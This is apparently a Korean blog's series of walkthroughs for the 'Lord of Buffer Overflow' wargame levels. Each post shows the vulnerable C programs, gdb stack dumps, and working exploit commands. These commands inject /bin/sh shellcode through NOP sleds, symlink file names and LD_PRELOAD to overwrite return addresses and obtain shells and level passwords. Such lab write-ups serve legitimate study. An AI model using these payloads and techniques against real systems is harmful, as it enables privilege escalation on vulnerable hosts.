	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // stack destroyer!
        memset(buffer, 0, 44);
	memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}

buffer시작 주소부터 스택 아래 끝까지 0으로 초기화하고 있다.

[skeleton@localhost tmp]$ touch hello.c
[skeleton@localhost tmp]$ gcc -fPIC -shared hello.c -o `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[skeleton@localhost tmp]$ export LD_PRELOAD=./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

[skeleton@localhost tmp]$ gdb golem -q
(gdb) b main
Breakpoint 1 at 0x8048476
(gdb) r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
Starting program: /home/skeleton/tmp/golem `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`

Breakpoint 1, 0x8048476 in main ()
(gdb) x/1000x $ebp-4000
0xbfffea78:	0x0000049d	0x000005f3	0x00000119	0x000001d8
0xbfffea88:	0x000001d3	0x00000704	0x00000694	0x00000000
(생략)
0xbffff588:	0xbffff754	0x4000380e	0x40014468	0x90902f2e
0xbffff598:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5a8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5b8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5c8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5d8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5e8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5f8:	0x11eb9090	0xb1c9315e	0x0e6c8032	0xe98001ff
0xbffff608:	0xebf67501	0xffeae805	0xc132ffff	0x30306951
0xbffff618:	0x30696974	0x8a6f6a63	0x8a5451e4	0x0cb19ae2
0xbffff628:	0x400081ce	0x40013868	0x4000220c	0xbffffb5c
0xbffff638:	0x00000000	0x00000000	0x00000000	0x00000000

먼저 golem 파일을 tmp폴더를 만들어 아래에 복사했다. 모든 작업은 tmp에서 실시했다.

빈 파일 hello.c를 만든 후 \x90+쉘 코드 형태인 공유 라이브러리로 컴파일한다. -fPIC와 -shared 옵션으로 만들 수 있다. 빈 파일은 touch hello.c 명령을 사용해서 생성했다. 쉘 코드는 파일명에 사용되므로 \x2f가 없는 코드이어야 한다.

생성한 공유 라이브러리를 LD_PRELOAD 환경 변수에 등록한다.

LD_PRELOAD는 환경 변수 중 하나로 환경 변수에 설정된 라이브러리를 기존 라이브러리보다 앞서 로딩한다. 함수명이 다른 라이브러리에도 존재하는 경우 LD_PRELOAD에 설정된 라이브러리의 함수가 먼저 호출된다. 이런 방식으로 후킹(Hooking)을 하기도 한다. 자세한 내용은 다음의 링크를 참고해보자.

http://cloudrain21.com/dynamic-library-hooking

 

LD_PRELOAD 환경변수를 이용한 공유라이브러리(Dynamic Library) 후킹(Hooking) - Rain.i

All about IT tech, especially database, cloud, linux, clustering.

cloudrain21.com

golem 함수를 gdb로 들여다보니 위 쪽에 쉘 코드가 보인다. \x90중 하나의 주소를 retn 주소로 사용할 것이다. 0xbffff5b8로 설정했다.

[skeleton@localhost tmp]$ ../golem `python -c 'print "A"*44+"\xb8\xf5\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¸
bash$ my-pass
euid = 511
cup of coffee
bash$ exit

실제 golem 파일을 대상으로 실행하니 비밀번호가 나온다.

cup of coffee

참고로 tmp 폴더를 만들어서 작업을 했으면 golem 실행도 tmp 폴더 내에서 해야된다. 그렇지 않으면 실행이 안 되는 것을 확인했다. 처음부터 tmp 폴더를 만들지 않고 했으면 상관없었을 것이다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

darkknight -> bugbear  (0) 2023.01.31
golem -> darkknight  (0) 2023.01.26
vampire -> skeleton  (0) 2023.01.24
troll -> vampire  (2) 2023.01.24
orge -> troll  (0) 2023.01.23
728x90

vampire / music world

/*
        The Lord of the BOF : The Fellowship of the BOF
        - skeleton
        - argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i, saved_argc;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	// argc saver
	saved_argc = argc;

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

	// ultra argv hunter!
	for(i=0; i<saved_argc; i++)
		memset(argv[i], 0, strlen(argv[i]));
}

buffer도 0으로 초기화 시키고 있으며 argv 인자들을 0으로 초기화 시키고 있는 것이다.

기존에 해왔던 공격 방법들 중엔 쓸 만한게 생각나지 않는다. gdb로 복사한 skeleton 파일을 실행해보았다.

그리고 스택을 들여다보았다.

(gdb) r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
Starting program: /home/vampire/tmp/skeleton `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`

Breakpoint 1, 0x8048506 in main ()
(gdb) x/1000s $esp
0xbffffa88:	 "Ϝ202\004\b \034\002@¸󾰩"
0xbffffa97:	 "@[\205\017@4\227\004\b`®"
0xbffffaa3:	 "@\004󿹺ÿ¿ꚲ04\004\b \227\004\b4\227\004\bٺÿ¿ʜt\003@\002"
(생략)
0xbfffff72:	 "HISTSIZE=1000"
0xbfffff80:	 "TERM=xterm"
0xbfffff8b:	 "HOME=/home/vampire"
0xbfffff9e:	 "PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/vampire/bin"
0xbfffffe1:	 "/home/vampire/tmp/skeleton"
0xbffffffc:	 ""
0xbffffffd:	 ""
0xbffffffe:	 ""
0xbfffffff:	 ""
0xc0000000:	 <Address 0xc0000000 out of bounds>
0xc0000000:	 <Address 0xc0000000 out of bounds>

스택의 가장 아래쪽(가장 큰 주소)근처에 실행한 파일명이 나온다. 즉, argv[0]이다. 여기에 쉘 코드를 존재하고 retn 주소를 주변으로 잡으면 어떻게 될까? 일단 실행파일명에 쉘 코드가 들어가야하므로 이전에 troll 문제 풀때 사용했던 심볼릭 링크 방식을 이용한다.

buffer의 주소는 ebp-40이다. strcpy의 인자로 ebp-40이 들어가는 것을 보면 알 수 있다.

0x80485ee <main+238>:	push   %edx
0x80485ef <main+239>:	lea    %eax,[%ebp-40]
0x80485f2 <main+242>:	push   %eax
0x80485f3 <main+243>:	call   0x8048440 <strcpy>
0x80485f8 <main+248>:	add    %esp,8
[vampire@localhost tmp]$ ln -s skeleton `python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'`
[vampire@localhost tmp]$ gdb `python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'` -q
(gdb) b main
Breakpoint 1 at 0x8048506
(gdb) r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
Starting program: /home/vampire/tmp/鐞1ɱ2lÿ瀵󬩪ÿÿÿ2i00tii0cjo㐔⚱
                                                               ΁ `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
Xshell
Breakpoint 1, 0x8048506 in main ()
(gdb) x/500s $ebp
0xbffff9a8:	 "ɹÿ¿ʜt\003@\002"
0xbffff9b2:	 ""
0xbffff9b3:	 ""
(생략)
0xbfffff12:	 "PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/vampire/bin"
0xbfffff55:	 "/home/vampire/tmp/", '\220' <repeats 50 times>, "ꚰ21^1ɱ2\200l\016ÿ\001\200蚰01u󪚰05髿ÿÿ2i00tii0cjo\212㐔\212ᚲ32±\f͜201", '\220' <repeats 50 times>
0xbffffffc:	 ""
0xbffffffd:	 ""
0xbffffffe:	 ""
0xbfffffff:	 ""
0xc0000000:	 <Address 0xc0000000 out of bounds>
0xc0000000:	 <Address 0xc0000000 out of bounds>

tmp 디렉터리를 /home/vampire 밑에 만들어서 내부에서 작업했다. skeleton 실행파일도 tmp 디렉터리 내부에 복사해서 사용했다. 우선 심볼릭 링크를 만든다. ln -s 원본파일 심볼릭링크파일 형식이다. 심볼릭 링크파일 명은 \x90 50개+쉘 코드+\x90 50개이다. 처음에 \x90 100개+쉘 코드 형식으로 하니 원하던대로 작동하지 않았다. 찾아보니 스택 가장 하단에 가깝게 쉘 코드가 존재하면 문제가 있다는 글을 보았다. 심볼릭링크 파일로 gdb를 실행한다. 스택 젤 아래쪽에 쉘 코드가 저장되어야하기 때문이다. argv[1]에는 임의의 값을 준다. 별 의미는 없다.

x/500s를 사용하는데 x/s $ebp는 $ebp 주소에 저장된 값을 문자열 형식으로 보여준다. 0xbfffff55에 argv[0]이 들어가있다. retn 주소는 \x90중 하나인 0xbfffff85으로 설정해야겠다.

[vampire@localhost vampire]$ ln -s skeleton `python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'`
[vampire@localhost vampire]$ /home/vampire/`python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'` `python -c 'print "A"*44+"\x85\xff\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÿÿ¿
bash$ my-pass
euid = 510
shellcoder
bash$

tmp에 복사한 skeleton 파일을 대상으로 실행해보니 바로 성공했다. 그래서 /home/vampire 디렉터리 내부의 skeleton 파일을 대상으로 실행하니 역시 성공했다.

skeleton의 비밀번호는 shellcoder이다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

golem -> darkknight  (0) 2023.01.26
skeleton -> golem  (0) 2023.01.25
troll -> vampire  (2) 2023.01.24
orge -> troll  (0) 2023.01.23
darkelf -> orge  (0) 2023.01.21
728x90

troll / aspirin

/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

        // here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);
}

argv[1][46]은 \xff가 아니어야한다. retn 주소로 쓰이는 부분인데 지금까진 늘 retn 주소가 0xbfff~ 형식이었다. 이를 벗어나기 위해선 매우 큰 인자를 argv[1]에 전달하면 된다.

vampire을 복사해서 복사한 파일을 대상으로 gdb를 실행한다.

0x80484af <main+127>:	push   %edx
0x80484b0 <main+128>:	lea    %eax,[%ebp-40]
0x80484b3 <main+131>:	push   %eax
0x80484b4 <main+132>:	call   0x8048370 <strcpy>

strcpy의 인자로 ebp-40이 들어가는걸 보니 buffer 주소다.

40bytes(buffer)+4bytes(sfp)를 A로 채울 것이다. 그리고 retn주소는 임의로 0xbfbfbfbf로 설정하고 \x90을 100000개 전달하였다. 스택은 인자의 길이에 따라 유동적으로 변하기에 긴 문자열을 전달하여 0xbfff를 벗어날 수 있다. strcpy를 수행하고나서 스택의 주소를 파악하였다.

(gdb) r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
Starting program: /home/troll/VAMPIRE `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

Breakpoint 1, 0x8048436 in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x80484b4 in main ()
(gdb) ni
0x80484b9 in main ()
(gdb) x/200x $ebp
0xbffe7428:	0x41414141	0xbfbfbfbf	0x90909090	0x90909090
0xbffe7438:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7448:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7458:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7468:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7478:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7488:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7498:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe74a8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe74b8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe74c8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe74d8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe74e8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe74f8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7508:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7518:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7528:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7538:	0x90909090	0x90909090	0x90909090	0x90909090

100000개의 \x90 밑에 쉘 코드가 있을 것이다. retn 주소를 0xbffe74f8로 정하였다.

[troll@localhost troll]$ ./vampire `python -c 'print "A"*44+"\xf8\x74\xfe\xbf"+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA񾿐1󿿐h//shh/bin⏓󿲒°
                                                            ̀ 
bash$ my-pass
euid = 509
music world

vampire 실행파일을 대상으로 실행하니 vampire 비밀번호가 나온다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

skeleton -> golem  (0) 2023.01.25
vampire -> skeleton  (0) 2023.01.24
orge -> troll  (0) 2023.01.23
darkelf -> orge  (0) 2023.01.21
wolfman -> darkelf  (0) 2023.01.21
728x90

orge / timewalker

/*
        The Lord of the BOF : The Fellowship of the BOF
        - troll
        - check argc + argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	// here is changed
	if(argc != 2){
		printf("argc must be two!\n");
		exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

	// one more!
	memset(argv[1], 0, strlen(argv[1]));
}

argc=2이어야하기에 이번엔 argv[2]를 사용할 수 없다.

argv[1]을 이용해 buffer에 복사되는 40 bytes를 이용하고 싶어도 buffer를 후에 0으로 초기화하기 때문에 buffer에 쉘 코드를 저장해서 쉘 코드 주소로 retn 하려는 전략은 통하지가 않는다. 따라서 argv[0]을 이용해야한다.

argv[0]은 실행 파일명인데 앞 문제에서 사용한 심볼릭 링크를 사용해야한다. 대신 \x90과 쉘 코드로 구성된 파일명으로 심볼릭 링크를 사용한다.

우선 troll 실행파일을 TROLL로 복사하고 tmp 폴더를 하나 만들어서 tmp 디렉토리 내에서 TROLL 실행파일에 대한 심볼릭 링크를 만들었다.

[orge@localhost tmp]$ ln -s /home/orge/TROLL `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[orge@localhost tmp]$ ls -l
total 0
lrwxrwxrwx    1 orge     orge           16 Jan 23 17:07 ????????????????????????????????????????????????????????????????????????????????????????????????????龞1ɱ2?l?ÿ??羵󪀨쀿ÿ2i00tii0cjo?㐔?࿱?̿ -> /home/orge/TROLL

심볼릭 링크 파일을 대상으로 gdb를 실행했고 buffer 주소가 ebp-40임을 알았다. 40 bytes(buffer)+ 4 bytes(sfp)를 "A"로 저장하고 이어서 retn 주소는 0xbfbfbfbf로 설정해서 argv[1] 인자로 전달했다.

[orge@localhost tmp]$ gdb `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` -q
(gdb) b main
Breakpoint 1 at 0x8048506
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>:	push   %ebp
0x8048501 <main+1>:	mov    %ebp,%esp
(생략)
0x80485e6 <main+230>:	mov    %edx,DWORD PTR [%eax]
0x80485e8 <main+232>:	push   %edx
0x80485e9 <main+233>:	lea    %eax,[%ebp-40]
0x80485ec <main+236>:	push   %eax
0x80485ed <main+237>:	call   0x8048440 <strcpy>
0x80485f2 <main+242>:	add    %esp,8
(생략)
0x804863e <main+318>:	ret    
0x804863f <main+319>:	nop    
End of assembler dump.
(gdb) b *main+237
Breakpoint 2 at 0x80485ed
(gdb) r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
Starting program: /home/orge/tmp/鐞1ɱ2lÿ瀵󬩪ÿÿÿ2i00tii0cjo㐔⚱
                                                            ΁ `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
Xshell
Breakpoint 1, 0x8048506 in main ()
(gdb) c     
Continuing.

Breakpoint 2, 0x80485ed in main ()
(gdb) ni
0x80485f2 in main ()
(gdb) x/200x $ebp
0xbffff9b8:	0x41414141	0xbfbfbfbf	0x00000000	0xbffffa04
0xbffff9c8:	0xbffffa10	0x40013868	0x00000002	0x08048450
(생략)
0xbffffae8:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffffaf8:	0x00000000	0x69000000	0x00363836	0x6d6f682f
0xbffffb08:	0x726f2f65	0x742f6567	0x902f706d	0x90909090
---Type <return> to continue, or q <return> to quit---
0xbffffb18:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb28:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb38:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb48:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb58:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb68:	0x90909090	0x90909090	0x90909090	0xeb909090
0xbffffb78:	0xc9315e11	0x6c8032b1	0x8001ff0e	0xf67501e9
0xbffffb88:	0xeae805eb	0x32ffffff	0x306951c1	0x69697430
0xbffffb98:	0x6f6a6330	0x5451e48a	0xb19ae28a	0x0081ce0c
0xbffffba8:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffbb8:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffbc8:	0x41414141	0x41414141	0x41414141	0xbfbfbfbf
0xbffffbd8:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffffbe8:	0x00000000	0x00000000	0x00000000	0x00000000

0xbffffb28을 retn 주소로 설정해서 심볼릭 링크 파일을 실행해본다.

[orge@localhost tmp]$ /home/orge/tmp/`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*44+"\x28\xfb\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(
Segmentation fault (core dumped)
[orge@localhost tmp]$ ls     
core
????????????????????????????????????????????????????????????????????????????????????????????????????龞1ɱ2?l?ÿ??羵󪀨쀿ÿ2i00tii0cjo?㐔?࿱?̿​

core dumped가 발생했고 gdb로 core를 들여다본다.

[orge@localhost tmp]$ gdb -c core -q
Core was generated by `/home/orge/tmp/'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfffff5e in ?? ()
(gdb) x/200x $esp
0xbffff8fc:	0x2f656d6f	0x00000000	0xbffff944	0xbffff950
0xbffff90c:	0x40013868	0x00000002	0x08048450	0x00000000
(생략)
0xbffffa0c:	0x00000010	0x0f8bfbff	0x0000000f	0xbffffa47
0xbffffa1c:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffffa2c:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffffa3c:	0x00000000	0x00000000	0x69000000	0x00363836
0xbffffa4c:	0x6d6f682f	0x726f2f65	0x742f6567	0x902f706d
---Type <return> to continue, or q <return> to quit---
0xbffffa5c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa6c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa7c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa8c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa9c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffaac:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffabc:	0xeb909090	0xc9315e11	0x6c8032b1	0x8001ff0e
0xbffffacc:	0xf67501e9	0xeae805eb	0x32ffffff	0x306951c1
0xbffffadc:	0x69697430	0x6f6a6330	0x5451e48a	0xb19ae28a
0xbffffaec:	0x0081ce0c	0x00000080	0x00000000	0x00000000
0xbffffafc:	0x00000000	0x00000000	0x00000000	0x00000000

0x90의 주소가 바뀌어있다. 0xbffffa6c로 retn 주소를 변경한다.

/home/orge로 돌아와서 심볼릭 링크를 동일하게 만든다음 retn 주소는 0xbffffa6c로 설정하여 실행한다.

[orge@localhost orge]$ ln -s troll `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[orge@localhost orge]$ /home/orge/`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*44+"\x6c\xfa\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAl
bash$ my-pass
euid = 508
aspirin
bash$ exit

비밀번호는 aspirin이다.

참고로 core dumped가 발생해서 core 파일이 생성되어야 문제를 풀 수 있다. 그런데 원본 troll 실행파일을 대상으로 실행하면 아무리해도 core dumped 파일이 생성되지 않는다. 반드시 troll 실행파일의 복사본에 먼저 테스트해야 core dumped가 발생한다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

vampire -> skeleton  (0) 2023.01.24
troll -> vampire  (2) 2023.01.24
darkelf -> orge  (0) 2023.01.21
wolfman -> darkelf  (0) 2023.01.21
orc -> wolfman  (2) 2023.01.21
728x90

darkelf / kernel crashed

/*
        The Lord of the BOF : The Fellowship of the BOF
        - orge
        - check argv[0]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// here is changed!
	if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

darkelf 문제에서 argv[0]의 길이가 77이 되어야 하는 조건이 추가되었다.

실행파일을 실행할 때 argv[0]은 실행하는 명령어의 첫 번째 문자열이다.

ex) ./orge hello world의 경우 argv[0]은 ./orge

/home/darkelf/orge hello world의 경우 argv[0]은 /home/darkelf/orge

심볼릭 링크를 orge에 걸어서 심볼릭 링크 파일을 실행하면 argv[0]도 길이를 77로 만들 수 있다.

절대 경로로 실행파일을 실행하기 위해 77에서 /home/darkelf/ 의 길이 14를 뺀 63의 길이를 가지는 심볼릭 링크 파일을 만들었다. 심볼릭 링크 생성 명령어 형식은 ln -s 원본파일 심볼릭링크파일이다.

[darkelf@localhost darkelf]$ ln -s orge `python -c 'print "A"*63'`
[darkelf@localhost darkelf]$ ls
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  orge  orge.c

gdb를 실행해야 하기에 orge를 복사한 실행파일을 만들어 해당 실행 파일에 BBBBB....BB라는 심볼릭 링크 파일을 생성하였다. 위의 명령어 이용하면 된다.

0x804860e <main+270>:	push   %edx
0x804860f <main+271>:	lea    %eax,[%ebp-40]
0x8048612 <main+274>:	push   %eax
---Type <return> to continue, or q <return> to quit---
0x8048613 <main+275>:	call   0x8048440 <strcpy>

buffer가 strcpy의 인자로 전달되기에 ebp-40이 buffer의 주소인 것을 알았다. argv[1]은 strcpy를 통해 buffer에 복사되기에 argv[1]의 값을 이용하여 retn 주소까지 덮어쓴다. 총 48 bytes가 되어 조건을 만족한다.

40 bytes(buffer)+4 bytes(sfp)+4 bytes(임의의 \x90의 주소)

이어서 argv[2]의 값을 다음과 같이 전달하여 여러 개의 \x90과 쉘 코드를 저장한다.

"\x90"*200+"쉘 코드"

argv[1]의 retn 주소를 설정하기 위해 gdb로 실행 후 실제 전달할 인자와 같은 길이의 문자를 대입해 본다.

(gdb) r `python -c 'print "A"*44+"\xff\xff\xff\xbf"'` `python -c 'print "\x90"*200+"B"*25'`
Starting program: /home/darkelf/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB `python -c 'print "A"*44+"\xff\xff\xff\xbf"'` `python -c 'print "\x90"*200+"B"*25'`

Breakpoint 1, 0x8048506 in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x8048613 in main ()
(gdb) ni
0x8048618 in main ()

(gdb) x/200x $ebp
0xbffff978:	0x41414141	0xbfffffff	0x00000000	0xbffff9c4
0xbffff988:	0xbffff9d4	0x40013868	0x00000003	0x08048450
0xbffff998:	0x00000000	0x08048471	0x08048500	0x00000003
(생략)
0xbffffb18:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb28:	0x41414141	0x41414141	0x41414141	0xff414141
0xbffffb38:	0x00bfffff	0x90909090	0x90909090	0x90909090
0xbffffb48:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb58:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb68:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb78:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb88:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb98:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffba8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbb8:	0x90909090	0x90909090	0x90909090	0x90909090
